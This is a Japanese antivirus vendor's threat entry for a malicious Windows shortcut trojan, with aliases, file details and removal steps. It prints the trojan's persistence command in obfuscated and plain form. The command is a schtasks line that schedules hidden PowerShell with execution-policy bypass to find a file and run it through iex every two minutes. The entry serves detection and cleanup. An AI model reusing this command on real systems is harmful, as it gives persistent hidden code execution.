Trend Micro Security

Trojan.LNK.POWLOAD.AUSJSB

2020年1月31日
 解析者: Karen Ivy Titiwa   

 別名:

HEUR:Trojan.WinLNK.Rufus.gen (KASPERSKY); Trojan.LNK.Agent (IKARUS)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要


マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 1,742 bytes
タイプ LNK
メモリ常駐 はい
発見日 2019年8月6日

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • %System%\cmd.exe" /c %os:~6,1%chta%os:~6,1%ks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "pow%tmp:~5,3%hell -ep bypass -%os:~0,3% 1 -c '&{cd %User Profile%; $g=F%os:~1,3%STR /S FOREGROUND agos*.* |%os:~6,1%elect -first 1;$g |iex}'";
  • schtasks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "powershell -ep bypass -Win 1 -c '&{cd %User Profile%; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}'";

(註:%User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>" です。)

その他

マルウェアは、以下を実行します。

  • It adds the following scheduled tasks:
    • Task Name = GO
    • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
    • Action = powershell -ep bypass -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"


  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 15.284.02
初回 VSAPI パターンリリース日 2019年8月7日
VSAPI OPR パターンバージョン 15.285.00
VSAPI OPR パターンリリース日 2019年8月8日

手順 1

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 2

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。

  • Task Name = GO
  • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
  • Action = powershell -ep bypass  -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"
  • Windows 2000、Windows XP、Windows Server 2003の場合:

    1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
    2. 上記の{タスク名} を、[名前]の欄に入力します。
    3. 入力した{タスク名} 持つファイルを右クリックします。
    4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
    5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

    Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:

    1. Windowsタスクスケジューラを開きます。
      • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
      • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
    2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
    3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
    4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
    5. 文字列が一致するタスクを削除します。

    手順 4

    最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Trojan.LNK.POWLOAD.AUSJSB」と検出したファイルの駆除を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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